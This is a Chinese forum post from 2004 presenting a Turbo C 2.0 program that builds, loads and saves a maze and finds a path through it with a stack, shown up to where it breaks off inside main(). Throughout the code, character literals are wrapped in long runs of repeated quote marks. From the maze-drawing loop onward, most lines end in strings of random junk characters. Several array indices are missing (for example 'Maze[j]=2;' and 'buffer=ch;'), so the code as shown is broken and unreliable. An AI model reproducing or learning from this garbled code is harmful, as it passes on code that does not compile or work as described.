查看: 7684|回复: 8

C语言技术文章

字体大小: 正常放大

韩冰

823 主题	3 听众	4048 积分

我的地盘我做主

该用户从未签到

电梯直达

^#

发表于 2004-10-4 02:34 |只看该作者 |正序浏览

|招呼Ta 关注Ta

<DIV align=left>
<

align=left>程序目的：
输入一个任意大小的迷宫，用栈求出一条走出迷宫的路径，并
显示在屏幕上。
程序实现：
可以实现载入迷宫和保存迷宫，附带文件中有4个测试迷宫路径的
文件test1~4.dd。请将这些文件拷贝到TC当前目录下，或者在载
入时写明完全路径。由于屏幕大小的限制，当用户自己输入迷宫
时一定要注意：迷宫大小是有限制的，不小于4*3,不大于30*20。
否则会出现错误信息。输入开始时全是墙，用上下左右键移动，
用Del键删除墙，形成通路，用Enter键添加墙。输入结束时可以
将迷宫保存下来，以dd为扩展名。输入完毕时用F9键来得到结果，
找到路径时，屏幕下方会出现Path found，否则出现Path not found。
程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。
不可以在VC上编译。
下载DOS版和windows版的迷宫游戏全部代码
用户名：migong
----------------------------------------------------------------------------------
/*
MazePath Demo BY Turbo C 2.0
Copyright(c) RoverUnion. All right reserved.
Filename: Maze.c
Author Dongchengyu.
Ver 1.10
*/
#include <stdio.h>
#include <stdlib.h>
#include <malloc.h>
#include <conio.h>
#include <dos.h>
#define OK 1
#define ERROR 0
#define TRUE 1
#define FALSE 0
#define F9 0x43
#define Esc 0x1b
#define Del 0x53
#define Home 0x47
#define End 0x4f
#define Space 0x20
#define Up 0x48
#define Down 0x50
#define Left 0x4b
#define Right 0x4d
#define Enter 0x0d
#define F2 0x3c
#define F3 0x3d
#define STACK_INIT_SIZE 200
#define STACKINCREMENT 10
typedef int Boolean;
typedef int Status;
typedef struct {
int x;
int y;
} PosType;
typedef struct {
int ord;
PosType seat;
int di;
} SElemType;
typedef struct {
int td;
int foot;
int mark;
} MazeType;
typedef struct {
SElemType *base;
SElemType *top;
int stacksize;
} Stack;
int Maze[20][30];
MazeType maze[20][30];
PosType StartPlace;
PosType EndPlace;
int count;
int m,n;
Boolean b_start=FALSE,b_end=FALSE;
void CreatMaze(void);
Status SaveMaze(char *filename);
Status LoadMaze(char *filename);
void Error(char *message);
Status InitStack(Stack *s);
Status DestroyStack(Stack *s);
Status ClearStack(Stack *s);
Boolean StackEmpty(Stack *s);
int StackLength(Stack *s);
Status Push(Stack *s,SElemType e);
SElemType Pop(Stack *s,SElemType e);
Status GetTop(Stack *s,SElemType *e);
Status StackTraverse(Stack *s,Status (* visit)(SElemType *se));
Boolean Pass(PosType curpos);
void MarkPrint(PosType seat);
void FootPrint(PosType curpos);
PosType NextPos(PosType seat,int di);
Status MazePath(PosType start,PosType end);
void CreatMaze(void)
/* Form the maze. */
{
void Error(char *message);
Status SaveMaze(char *filename);
Status LoadMaze(char *filename);
int i,j;
int x,y;
char c;
char savename[12],loadname[12];
Boolean flag=FALSE,load=FALSE;
clrscr();
printf("Menu:\n\n");
printf("1.Load Mazefile

*.dd)\n\n");
printf("2.Input Maze:\n\n");
printf("Input your choice: ");
do
{
c=getch();
switch(c)
{
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;
case Esc: sleep(1); exit(1);
default: break;
}
}
while(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&&c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;
if(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')
{
printf("\n\nLoadName: ");
scanf("%s",loadname);
if(LoadMaze(loadname))
{
sleep(1); load=TRUE;
}
else { gotoxy(1,9); printf("Load fail! "); }
}
if(!load)
{
printf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");
printf("\nInput Length :\n");
scanf("%d",&m);
printf("\nInput Width :\n");
scanf("%d",&n);
if(m<4||n<4) Error("Input");
if(m>30||n>20) Error("Maze too large");
for(i=0;i<30;i++)
for(j=0;j<20;j++)
Maze[j]=2;/ Z7 U* o2 H( z \2 M
StartPlace.x=0; r! D& U3 G. {5 J0 C9 P: g
StartPlace.y=0;
% F% S, ~- t/ A8 F4 X" IEndPlace.x=0;
5 @5 h' [. [/ NEndPlace.y=0;) j# n2 @% m; ]
clrscr();: t% E1 L6 }1 S7 K0 o2 T7 \ `
printf("\n");$ A2 a! v1 z9 p5 I
for(i=1;i<=n;i++)/ r6 O$ A. P1 |- j5 |) q
{
+ v2 t1 M2 M1 K/ e! |& f1 l+ ^for(j=1;j<=m;j++)
1 h/ f2 H& A1 M, p% x{
( ?8 F7 _! {$ r( N1 Xprintf(" #");
) p$ i& X# \4 V! k+ n% L6 PMaze[i-1][j-1]=0;, E4 {8 d, u$ u. O
}
/ N% B! |! _8 ~" u, O9 p iprintf("\n");
8 \4 r& }/ K- }9 }: D& L}- n: p. Q: G; z2 a
}. c3 P! n$ N; V& a
gotoxy(65,5);
; C' U( c0 j1 V) l6 D- { Dprintf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");
- p* @7 C d# [gotoxy(65,7);. |. P7 t7 w! o. O! N# {- s
printf("Start:Home");
& h. c n4 h: \+ z- M4 Z( Sgotoxy(65,9);$ M0 b0 d& v6 H) M' l6 t: t+ H0 ]- z
printf("End:End");
 s- x9 E# r) n, pgotoxy(65,11);
+ V/ k' z# V% P% tprintf("Delete Wallel");
0 [% _$ [1 w: ngotoxy(65,13);+ |0 X& |' ^: K% N; t8 H
printf("Enter Wall:Enter");
8 M- p7 Q% l3 ]; n' d0 r0 v4 v: D( V6 ~gotoxy(65,15);: G! N" N! }: y
printf("Save Maze:F2");
4 A% T0 u/ i( {9 U# M% C0 Zgotoxy(65,17);8 [2 C" p6 c3 m
printf("Complete:F9");, A- j( b- \' d( K
gotoxy(65,19);
- A- e9 T6 B$ B; F) Z. ~7 G# fprintf("Exit:Esc");
$ l7 `% P, H( z7 O5 G8 J8 V* vgotoxy(4,3);
' Q6 [& h/ h; ^4 g; wx=4;y=3;
8 s* ^/ o, G! l8 \% d1 U% |do
# g4 S# \# L& e7 @) W{
; C+ f2 V' T& l$ t9 Kc=getch();
/ e9 ?) b6 h- d5 v1 C* }switch(c) {! T& y7 G& g" Q3 B
{$ ^# t; @7 l, c: Q% n
case Up: if(y>3) { y--; gotoxy(x,y); }
0 o: u- [- r- ~$ |( d8 R9 G5 zbreak;- d* M* ^$ T) J- [* [
case Down: if(y<n) { y++; gotoxy(x,y); }4 v* e% e$ h6 F4 k2 F6 T8 X
break;
( b6 q3 W- w/ b/ i1 hcase Left: if(x>4) { x-=2; gotoxy(x,y); }: T8 h/ I+ Y* X
break;
. s6 b3 {& V) }* O7 L ccase Right: if(x<2*m-2) { x+=2; gotoxy(x,y); }
5 b; M/ R. A( _3 Z4 t9 J2 C5 \& ubreak;! z) o# ]- H) y
case Del: if(y-2==StartPlace.y&&x/2-1==StartPlace.x) b_start=FALSE;
( x% I2 k$ V1 K% S1 ]if(y-2==EndPlace.y&&x/2-1==EndPlace.x) b_end=FALSE;
# J- @9 @5 `% n1 N% E0 ?- v; kputch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);
+ N N. q' k! G; z& ~break;7 {& F3 d" r1 v* v6 H
case Enter: if(y-2==StartPlace.y&&x/2-1==StartPlace.x) break;6 f& v! o! v1 x3 a0 @8 d
if(y-2==EndPlace.y&&x/2-1==EndPlace.x) break;
( h$ t1 A7 N5 k K5 \$ {putch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);
& Q& o( _+ l" c5 Mbreak;
1 V" T, d( [6 M% P6 i$ M' t( `. Scase Home: if(Maze[y-2][x/2-1]&&!b_start)" d/ S) Q+ ]. L: A# D
{/ S- K! ^1 W; w+ m% [: K4 T
StartPlace.x=x/2-1;
. P1 X/ A: Y7 O# VStartPlace.y=y-2;! T, {6 t' A1 F, \
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');: j1 p! [2 X, `( U+ l
gotoxy(x,y);
& n" U) F* M* S( J, ob_start=TRUE;3 N. j, R. Q2 P& _" r3 ^; l
}4 U- \/ c# d3 S& B! J2 j1 y
break;4 e5 R6 n) o, O' \
case End: if(Maze[y-2][x/2-1]&&!b_end)
7 v# ? O8 U3 w7 d, T7 S8 |. F{ y- k; g a' c: h% M
EndPlace.x=x/2-1;3 }# C" R' p# H J$ E6 y$ g1 S/ B
EndPlace.y=y-2;
; y- g! S% F6 v; X! h6 tputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');" Q7 {) E1 e9 G8 h4 u- V+ H
gotoxy(x,y);
1 }0 m+ Q4 ~: P. E9 J5 v" b# G0 Sb_end=TRUE;" N4 g( i* x" O/ R4 v3 ?' \
}
3 m4 f# B# q8 r4 I, gbreak;5 O# P% w1 X* w& w. [
case Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);
 d; K! c6 v8 f" ~' c' q% vcase F9: if(b_start&&b_end) flag=TRUE; break;- W( g$ V, k3 \8 J0 l- L% g- y
case F2: gotoxy(2,22);
$ |+ G. a1 Q1 @printf("Savename:");
/ z7 x8 _# I/ h' b( u9 e* {scanf("%s",savename);8 [. j$ |6 w) g5 B
gotoxy(2,22);/ b/ X8 i: O& V( k
if(SaveMaze(savename)) printf("Save OK! ");% M) i l) q/ }' p S1 ?! e
else printf("Save fail! ");
; `( M( {# }0 A# \' osleep(1);
! t9 T% m# [0 y- }gotoxy(2,22);
: n/ g2 Q+ l& c9 k; Eprintf(" ");% s( q- D$ _. r5 k( Q; X5 D
gotoxy(x,y);
: z! a' ] h6 T/ Y7 i% @break;
6 Y2 I/ ~7 {( n3 bdefault: break;
- o2 d! O% k3 p, {/ M}% x2 C+ e0 w" ?$ [3 P! h3 q. S
}" C$ m1 `" {% Q! V: b
while(!flag);
. x1 h' d# ?( q' Jfor(i=0;i<30;i++)
% \$ W3 m5 u5 q/ i5 ], hfor(j=0;j<20;j++)! h( H- t( j) ?- I7 ]( O
{4 `0 u' x; o8 Z7 u9 f& n9 }
maze[j].td=Maze[j];8 ?3 E5 ~5 D% `( ]( J0 \9 A3 J
maze[j].mark=0;; l n4 }3 d/ }
maze[j].foot=0;
* }: ^. ]. D+ D! T8 R8 @! P}
2 a5 n5 Z5 u' Q U1 B}/ g1 C; o" d2 i( K% z: u' F% I* j
Status LoadMaze(char *file)
/ ]( L% C6 {, P2 a& c9 w/* The maze has been loaded. */' k6 I1 L- P. ]& ?- y( j! ^. u/ L
{
" L/ @4 Y5 x T/ f# O. dFILE *fp;9 i9 E: ^& n# c* H/ X
char *buffer;
% j# x& m& W) v) |; h- ^2 W. H8 Schar ch;- w9 }) ~0 o' s) I! l7 C, ^
int i=0,j,k;% J# h7 d Z2 X2 o# a3 q( k
Boolean len=FALSE,wid=FALSE;) l3 @& f# y/ [- C5 n2 X, G
if((fp=fopen(file,"r"))==NULL): H$ K9 V5 e9 f5 l
return ERROR;/ U( k" d. U0 ~: T
buffer=(char *)malloc(600*sizeof(char));
% p5 _3 _# h2 U0 P6 Z9 {$ z& \ch=fgetc(fp);1 m R6 B0 m! _4 u1 S7 c$ j. ?# x
while(ch!=EOF)
9 n3 P- C; _( D3 |) g: b, w! b{# K3 I6 C( ? h! v! ?0 | H/ x' ?7 Y
buffer=ch;, _$ Q0 p7 s0 x# g
i++;8 p9 p7 V C9 n' c
ch=fgetc(fp);
: u1 }7 |% ?; G& o2 D}
$ H- ^( V# Z# u5 m% T O) C p" Zm=30;n=20;
, W5 ?- g, \8 d0 u4 f4 lfor(i=0;i<600;i++)
6 s8 s) O8 ^% a) v1 t+ M8 u{
6 w& q" G, H5 N4 P! I! h' ~j=i/30; k=i%30;: ]* z! h/ z9 M0 A; D5 b
if(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&&!len){ m=i; len=TRUE; }( `, F: u$ Z9 S8 h: P: |
if(k==0&&buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&&!wid){ n=j; wid=TRUE; }# t9 z6 a9 F; @- p9 P+ z
switch(buffer): K' ]1 j3 B) Q; \
{7 Z: L- g7 K5 Z% s1 `& i) A
case ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;
8 P" ^% E3 x0 Scase ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;
0 J! h( P4 L; I+ [1 Rcase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;) X3 p2 `. @- x" t8 Q q o5 O
case ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;+ p- @& E' V1 j& r. q% s3 _9 V* @
StartPlace.x=k;* w/ e @) x" V
StartPlace.y=j;% c T+ u! m% S1 E( f1 x
b_start=TRUE;
! G1 |& \/ @* C2 {8 Fbreak;6 E/ }& w6 ]5 d% e0 \$ ~
case ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;& l% a- Z& e, W, E4 \+ n1 X
EndPlace.x=k;
/ J9 e+ A& Y$ ZEndPlace.y=j;
; T8 W3 @ B, M; t1 cb_end=TRUE;6 |. o7 n2 c |( V$ I' m: @
break;7 J: W* ^% J6 S# ]
default : break;, C4 J/ m" D6 @5 {* x8 I6 [+ w
}
8 N" x+ C* M; i0 n, J}8 _+ P3 X5 n' p
fclose(fp);
+ O/ ]: O3 [& T! |clrscr();
: _4 z; [" K3 i' M E' ~( L+ gfor(i=0;i<30;i++)
5 x$ o. e& g7 o' f6 Vfor(j=0;j<20;j++)
0 G& f6 ~5 m0 k4 [* n( g6 d{
0 M$ b. J3 v% k+ _& `maze[j].td=Maze[j];
9 N8 I+ h5 Q& A- q3 S1 E4 G4 {maze[j].foot=0;
0 [! S4 X: j3 P# Vmaze[j].mark=0;+ R& {3 `" U& @' Y3 e
if(Maze[j]==0)
7 `! @7 J4 V3 ]2 A{; i4 N Z P, O
gotoxy(2*i+2,j+2);
2 t# s m Y" ?' Vputch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');
3 k, \" M4 V B- O- C) p' d}- f. ^9 B7 G8 l* V2 a
}
0 G. K" L/ D3 H* N7 b' Jgotoxy(2*StartPlace.x+2,StartPlace.y+2);+ i7 I6 ^) s+ r' p
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
0 T+ n7 H' m7 j7 D* }& Zgotoxy(2*EndPlace.x+2,EndPlace.y+2);
1 W" p# w% P7 hputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');1 n8 B( ]% i8 j' M5 s' ~+ V
return OK;: q( J3 d6 W$ v8 w1 v. [
}7 b8 v! H) e @( V" Q! B
Status SaveMaze(char *filename)5 N; k, ]8 g3 O! \
/* The maze has been saved. */- X [6 f4 E' F3 v) ]" L! b; l
{# r& p; S+ M+ @1 X0 U7 q3 W
FILE *fp;7 w$ [: E2 I% n8 @
char *buffer;: r& }0 D3 N( U2 y& a6 ?: J: y6 t! e
int i,j,k;
- R* l0 Z. P1 n7 E) V" X! @fp=fopen(filename,"wb");
4 o' H( T/ t+ M. X6 {buffer=(char *)malloc(600*sizeof(char));2 n; w; b( z- b9 H/ T, v
for(i=0;i<600;i++)
6 ]; S5 D: ?% X Y0 ?0 M/ e{
2 U" _1 @1 k6 I4 X1 cj=i/30; k=i%30;
% ?. H' v; o' P+ dswitch(Maze[j][k])2 u" K: J# j2 W. L' t0 U$ L
{' F! @" W- f0 y# g0 g
case 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;
8 k) S/ N: V. j% c) a, Z/ |$ Y- rcase 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;
( o$ f# J0 w4 `; `' `: d% ^case 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;
% `1 J: e4 m7 T! I! Jdefault : Error("Write"); break;
' }9 g9 G" o8 x4 P5 X# R}
' p! d3 R5 \5 yif(k==StartPlace.x&&j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';
8 v! r) Z( O/ M& P& v% v2 Vif(k==EndPlace.x&&j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';3 I! N" }% L1 r$ {
}" v+ t4 H Z- Z) M2 d% d- e8 t
fwrite(buffer,600,1,fp);! k4 e+ S& F8 E5 J6 n; z8 J
free(buffer);
: z7 G5 b- D" ~, N+ F/ o" i hfclose(fp);2 e( v6 r4 c* }/ s
return OK;; k& j: E+ |& u4 m
}
* f1 r8 Q/ N. W& n$ W9 h! q+ ?void Error(char *message)' P$ o1 J6 b, m$ A8 x) C
{0 \2 N3 [# [) m. M
clrscr();
- i# B0 m5 K; B( I+ efprintf(stderr,"Error:%s\n",message);
& q' `1 d0 R" Gexit(1);
* u j" g' c! t2 }2 K1 |} /* Error */& m# B" m% C! L' J/ I
$ ]& I* V) d8 V0 j
Status InitStack(Stack *s)& ]( N) U, S3 B0 {# _+ q4 K/ W
/* The stack s has been created and is initialized to be empty. */* W! y; A6 J6 d
{
2 J' ^% n0 X* x ~s->base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
! A; \' f" ?/ w9 {2 Nif(!s->base) Error("Overflow");
5 L3 m) ~ U8 \; ^1 k& a6 fs->top=s->base; O) E8 G' N6 Z) O
s->stacksize=STACK_INIT_SIZE;$ |. C# p1 I& c
return OK;% U8 t* h( Y' Y( u8 I" u* P
} /* InitStack */
3 ?7 r: p2 P6 g; T5 w& [. gStatus DestroyStack(Stack *s)
8 {8 I" h8 S* t& [/* The stack s has been destroyed. */- o" K' y3 ~6 ~4 [( [$ m* n( F# j& G4 Y
{
7 T- p' x* \. Us->top=NULL;
" ]& }) S# I g- U$ F7 `7 rs->stacksize=0;
: J2 f' u' y0 S D; Qfree(s->base);
* \7 L" w* Q1 \8 L; e) Js->base=NULL;- o& j1 I, p/ T k; p
return OK;& L; H5 I! e% ^
} /* DestroyStack */5 z i% V* F E `& A) M/ G; R- Z4 T' F
Status ClearStack(Stack *s)
; ^; U& f( i9 p+ J5 c; @) [5 h/* The stack has been clear to be maximum. */7 L7 X3 W8 K% B: K
{
- F: w/ j# Z- As->top=s->base;1 R* ?3 b2 t7 R8 r
s->stacksize=STACK_INIT_SIZE;
+ a# p) W% H6 z3 V8 R, zreturn OK;
1 `. E2 f8 ~) h/ |$ G! s} /* ClearStack */
$ K6 n& a! i R$ S+ Z0 Y( XBoolean StackEmpty(Stack *s)! { l) T6 v. e' q W
/* Check if the stack s is empty. */
$ O, K( \ ? Z1 p' M9 |{# {! z0 P$ @! w; {
if(s->top==s->base) return TRUE;
1 @# O Y/ I$ u! G" ~& ]8 Q7 E. F2 ielse return FALSE;
% D9 o' J8 v/ @/ r! L3 Q" a& e} /* StackEmpty */
0 W4 m4 e$ L+ C; H ]) hint StackLength(Stack *s)
. d7 F+ P& |2 X# V$ m; V/* Gain the length of the stack s. */9 G( L- C ]. o' Z* Y
{# {6 C* k* D$ |; a. k E8 Z7 t
if(s->top>s->base) return (int)(s->top-s->base);
% E2 P9 Y5 X) G/ Relse return 0;* _ \ [6 ^$ e3 x& ]
} /* StackLength */9 o T0 V5 \5 f7 }
Status Push(Stack *s,SElemType e)& ^3 Y8 g4 }" {$ b3 A4 ^7 T
/* The element e has been pushed into the stack s. */
' G m# l* P1 R- w6 ]{
4 c, Z# i+ P5 ^( Dif(s->top-s->base>=s->stacksize)% d: w0 g6 Q* w
{
7 ^; E: x, L) ~s->base=(SElemType *)realloc(s->base,; Z7 _2 T6 T' S) I( L
(s->stacksize+STACKINCREMENT)*sizeof(SElemType));
# o/ i3 g- E. b" V8 R' g' Fif(!s->base) Error("Overflow");4 w: Z1 Z6 c9 B. p6 N& ~
s->top=s->base+s->stacksize;: i3 n- t/ Q( @/ h8 w: w
s->stacksize+=STACKINCREMENT;
4 x7 {, l7 V! F" V}
. _8 D. z+ ]: K& x3 X1 s7 N*s->top++=e;8 m8 j, l( A& M
return OK;
' J& x" c1 J/ }9 F1 [( i( A3 A} /* Push */
/ A4 x+ t$ C& c, z# k: aSElemType Pop(Stack *s,SElemType e)
8 a( c% P9 P1 m* Q; l8 p, i/* The element e has been removed from the stack s. */ P8 a# D7 l& z! |, a9 v
{* J+ y' ^$ Z0 Y" a
if(s->top==s->base) Error("op");
$ f6 x; J( ~$ ee=*--s->top;0 D' s/ Y6 x' \4 X
return e;
! U* k- N3 `4 w5 e8 I5 x} /* Pop */' h, y4 O* z# @3 F1 p
Status GetTop(Stack *s,SElemType *e)
& D9 o) h0 \' q7 ^" }/* The element e has got to the top of the stack s.*/; p7 l2 q4 ]0 A
{" B4 B6 e$ j" q2 L9 X3 `. T
if(s->top==s->base) Error("GetTop");
4 G# |. _5 C+ J; u) j*e=*(s->top-1);
6 `- j( L% @0 \3 }return OK;9 H& v5 M/ _, p# q
} /* GetTop */" x" B9 y+ u* t! b
/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */# O# F" r' I9 t5 m; V
/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))
3 J3 X0 H' b* F/ \0 U r1 s# E1 M2 `{
/ ?+ V& y v: S$ u! X4 b2 V5 Y3 {SElemType p;
% `% i. {# U; q w3 Wint result;: @8 w1 t3 Y9 f
if(s->top==s->base) return ERROR;% U3 n& Y5 e8 m
p=s->base;
7 m% H, H7 I2 Y- twhile(!(p==s->top)) x: r; E* ~# z( W7 u3 s1 p
{1 ^/ o3 L; {. @4 I9 }
result=(*visit)(p);8 N9 |4 ?& r$ { f4 C' \
p++;
& y) L- t$ [. {0 U5 ?0 |+ v}
* m6 b8 q( c5 Z8 u l0 ^" {return OK;
5 o. H" G2 W1 |1 O+ s} */
% r1 k/ G' g3 m0 j, {Boolean Pass(PosType curpos)/ L7 G' L( @* z2 {- z* s
/* Check if the current position can be passed. */
% `3 T* Z9 ~! K9 B{
; i7 v0 o; z, s. B/ yif(maze[curpos.x][curpos.y].td==1&&
 g6 l8 ~3 U9 N' ]maze[curpos.x][curpos.y].foot==0&&maze[curpos.x][curpos.y].mark==0)
( q( s6 j- t! p/ _& k, ~. c! greturn TRUE;; J3 a; l" M1 I8 r) h
else return FALSE;
$ `, u: w$ \8 B2 [5 b; {, B4 ~} /* Pass */5 Z5 t" c s; g' n/ z
void MarkPrint(PosType seat)
# o) V: M% C# T3 C+ F6 |/* Mark the position seat. */
# C4 t5 G1 q9 v s: ^8 H{
9 e! p8 m ?# l9 e% L: vmaze[seat.x][seat.y].mark=-1;
% B3 D+ ^& r, ~/ t3 ~% d' b# b- ~/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */# q& ]1 m& E4 S3 Y% F
} /* MarkPrint */8 @0 \. h g# r5 b+ [- a" a( t" K
void FootPrint(PosType curpos)
4 ^1 r2 D+ z5 Y& D) z& m/ ~0 A/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */* S0 B2 Y5 d, G+ f' `
{
0 y* g- z' s3 z, d* [maze[curpos.x][curpos.y].foot=1;& ^, V- }# J; d/ q9 X
} /* FootPrint */
' S" N* }" R3 O; l% R9 jPosType NextPos(PosType seat,int di)
* h0 D1 t- i+ ~7 T- N! t{
0 I3 E# H0 [! B: |5 J i5 cswitch(di)
, d, h: a! }- q6 o{
9 q" ?+ Y& _. mcase 1: seat.y++; return seat; /* Eastward *// [4 ]4 d5 I8 `
case 2: seat.x++; return seat; /* Southward */+ l$ c' g4 @+ j8 G8 g
case 3: seat.y--; return seat; /* Westward */
 |" a2 t8 @5 O( |0 K9 kcase 4: seat.x--; return seat; /* Northward */
" A: }8 `$ W, ndefault: seat.x=0; seat.y=0; return seat;
% a+ j M$ K- @}
) w6 a& T9 Z. K' p& \9 v} /* NextPos */
* P4 |2 m! J+ N6 r! }
+ Y# @; P# B7 Q; q/* The key to the program. */
/ n2 r5 _5 s7 h+ @- P/ k, V& M5 c9 f/* Pre: The maze array & the startplace & the endplace.
 r T2 g( u! H0 a6 bPost: Find the one traverse of the maze and perform the mazepath.# i' u; ^" _! G& X6 s
Uses: The ADT stack class.) O+ c4 {, y' g k" C* w
*/0 O- [9 |: ]. b1 A
Status MazePath(PosType start,PosType end)1 m7 w% u3 h9 {8 E
{/ e2 c: A$ }! R- W& r3 \
PosType curpos;. C4 c+ f, J7 Q) [5 L4 A
int curstep;
( R$ }$ k$ K6 P# i3 \# qSElemType e;
$ f) E3 t A! F2 AStack *s,stack;
5 d& l! q# o: h* N/ n2 D4 lstack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));" E9 a+ Z1 \# i1 t9 q2 ?
if(!stack.base) Error("Overflow");
 j/ u2 s6 V4 S! U6 S" n; Q4 astack.top=stack.base;
, R/ J( h8 i/ Qstack.stacksize=STACK_INIT_SIZE;
9 o/ j" s+ _6 o0 v) j8 p1 J- ^2 qs=&stack;3 x% k; b. j; I& B9 h9 {
curpos=start;6 e! N- `0 o9 ?, i# M2 j! k/ P- q
curstep=1;# ?* H3 ^; l0 [+ f
do8 I( m9 w( ]1 ] C& i
{ Z, p3 q$ i+ B* p3 T. t, L
if(Pass(curpos))* D- Y N/ d9 y2 F8 ?! U
{$ Y9 P+ d2 l. x9 X
FootPrint(curpos);
, O- W9 {) {( l( b q/ p6 N; Ee.ord=curstep; e.seat=curpos; e.di=1;
0 s, ]- }1 l' w6 v5 v7 z4 d, Ygotoxy((curpos.y+1)*2,curpos.x+2);, v3 P5 v3 p- d8 ^8 f1 Q" v
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
0 B" c& p; E$ T8 A" Cdelay(8000); /* pospone time. */! `. Q0 b* P% O: [! l; ?4 M) [
Push(s,e);7 S/ v$ t0 m1 Y: R! }0 ~
if(curpos.x==end.x&&curpos.y==end.y) /* Proceed recursively. */
% @# R; P/ Q6 Y' t5 g- P) h8 l{* H' z% P3 B, W# C: F/ E
DestroyStack(s);
: T! B [7 P% G% xreturn TRUE;$ b% r5 ^4 E! w7 F9 i
}
/ \( A* M* j. rcurpos=NextPos(curpos,1); /* Try next position. */
, V) V- F' n" u! L+ c4 J, Xcurstep++;! Y# e1 T2 p5 A6 ?: W7 f
}; S& i" E$ m8 C) j; ]6 M
else% {+ K4 e# @; L4 h! M
{
/ @% s5 S& R/ s) _% k9 H( M3 N4 cif(!StackEmpty(s))# Q3 R5 k8 k; j
{1 C3 v: g& y2 |7 a) [6 I% W
e=Pop(s,e); /* Removed e from s. */
0 @) l* \# p& `" | Q9 |while(e.di==4&&!StackEmpty(s)) /* Four directions have been checked, e* c. w* I$ L! W) `# i, }" G( t
and s is not empty. */
% w+ q1 |; N" M1 U{; Z9 }$ J( \6 o ~0 R; R
MarkPrint(e.seat);( i. U% x1 k9 ]
gotoxy((e.seat.y+1)*2,e.seat.x+2);
3 n8 q) n% E) X! m6 s! D$ w1 Iputch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
) ^6 J1 S/ L' l+ v/ D. ddelay(8000); /* Pospone time. */0 v7 T2 Y; w1 O
gotoxy((e.seat.y+1)*2,e.seat.x+2);
0 Z1 L `' l0 z6 w6 y" U. y8 eputch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');0 ~- {4 l# W9 d' g6 }' l
e=Pop(s,e); /* Remove e from s. */
; J; A( W% G; Z& ]& j; n# ~9 B% zcurstep--;4 R5 [- J# H9 M, D! V- [/ K
}
% S! m0 j, P9 b; L: z4 Tif(e.di<4) /* The current position hasnot been checked. */; P! S9 K) X! C
{
3 |" _0 D8 s" V( ~e.di++;
5 {3 S- X& \7 O7 SPush(s,e); /* Insert e into s. */( k1 G2 V7 T( S2 `0 D# A$ G/ \
curpos=NextPos(e.seat,e.di); /* Try next position. */# `6 O* x, W Y4 l- g3 A
}* [$ N9 X0 o0 I4 `* N) p1 r* d
}
/ h" Y" r& w) N" w; J v}
0 z1 ]* E. }( q}$ B* O {) U( v x/ X' p) z
while(!StackEmpty(s));3 s( P- ]+ G( o0 k4 o6 z! }( G
DestroyStack(s);& o( {0 E0 k4 p7 V' |4 N
return FALSE;
) O) D: O# r1 f; I% o3 F# G. C} /* MazePath */. d& s2 L" v9 j7 i' w* t
void main()+ S/ a, j& {- Q. H9 y9 c$ v3 X- D% x
{: M8 U" ~& j# R5 J0 _8 W
PosType start,end;' L9 R3 n ]' \) ]; T3 _2 _, ~
CreatMaze();
7 J2 Z, t5 A5 z! Fstart.x=StartPlace.y;
. U. Y H& t! X N" }6 h, ustart.y=StartPlace.x;
. g) t h7 W& \& V# e5 o' {4 send.x=EndPlace.y;7 G; t& ~ `7 b+ o2 z) S2 q
end.y=EndPlace.x;! Q' @' c$ v Y/ c5 n n
if(MazePath(start,end))$ z0 z1 t- J, k9 m! Z' ^! J8 l/ u
{
; { ^3 v! U3 U4 i. k7 [& Jgotoxy(2,22);
5 v" |9 C$ h, u5 h7 A) |' ?( Q6 Oprintf("ath found\n");8 L6 ~( _8 C% z1 ~. V
}
 w* t1 V1 `/ Aelse" W1 W) n2 w) V5 a, N6 v
{
0 f. k' N; I8 \# ggotoxy(2,22);
